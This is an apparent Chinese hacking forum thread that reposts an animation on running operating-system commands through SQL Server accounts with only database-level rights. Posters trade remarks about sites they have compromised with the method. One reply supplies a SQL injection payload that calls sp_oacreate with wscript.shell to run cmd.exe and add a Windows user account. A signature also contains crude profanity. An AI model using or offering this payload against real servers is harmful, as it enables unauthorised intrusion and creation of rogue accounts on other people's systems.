发新话题
打印

[转载]DB权限 执行系统指令的动画

[转载]DB权限 执行系统指令的动画

原创作者:hack520

附件

a.rar (626 KB)

2006-10-30 12:43, 下载次数: 2236

曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

我那两个站就是猪三帮我用这办法搞的
可看了动画..还是不怎么明白....他那个命令是直接复制的..杂不也一起提供呢
现在只有到那一步停止..然后看他命令自己手动输入拉.

另附抓图一张

附件

sql.jpg (183 KB)

2006-10-30 23:01

sql.jpg

TOP

晕一下先 SA权限才能用吧?!SP_oacrete链一个WSH变量@s,SP_oamethod调用变量@S,参数运行CMD.EXE.


另外一个例子.
.....  -.= 凸

TOP

[s:38] 先看好,是DB权限哦,要是SA的话还做动画干铞?这是由于管理员设置SQL的失误才导致的。
Www.China-Mu.Co.Kr 猪毛奇迹 1.02Q 将带给你无比的震撼。

TOP

[s:36] 怎么看都是本机装的SQL~在那自娱自乐.
.....  -.= 凸

TOP

[s:75] 确实是本机TEST的,不过那个帐户确实是db权限的,可是照样执行系统指令。 [s:39] 你不信那没办法啦。。哈哈。。只有1%的傻鸟管理员会这样做的,我只是凑巧碰上了几个而已。
Www.China-Mu.Co.Kr 猪毛奇迹 1.02Q 将带给你无比的震撼。

TOP

[s:39] 我们的天真纯洁善良的fhod竟然看不出来,汗一个.
.....  -.= 凸

TOP

[s:75] 那楼上的自己去找fhod吧哈哈,问问他站是怎么搞下的。 [s:64]
Www.China-Mu.Co.Kr 猪毛奇迹 1.02Q 将带给你无比的震撼。

TOP

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]未能找到存储过程 'sp_oacreate'。
我怎么没那么走运?!
My Blog:http://www.hackest.cn/ [H.S.T]:http://www.hackm.com/

TOP

fhod或小三,麻烦你把测试的代码发出来.

就是fhod拿的那个图片内的东东!

求人不如求已
复制内容到剪贴板
代码:
DECLARE @s int EXEC sp_oacreate [wscript.shell] , @s out EXEC sp_oamethod @s, [run], NULL, [cmd.exe /c net user username /add] --
[ 本帖最后由 !angel 于 2008-2-23 16:42 编辑 ]

TOP

这个方法必须对MASTER库有权限才行,但很少有主机这样配置......一般只能用来装B了。

[ 本帖最后由 撕碎了的小C 于 2008-2-29 13:02 编辑 ]
我是金子,我要闪光的....!

TOP

发新话题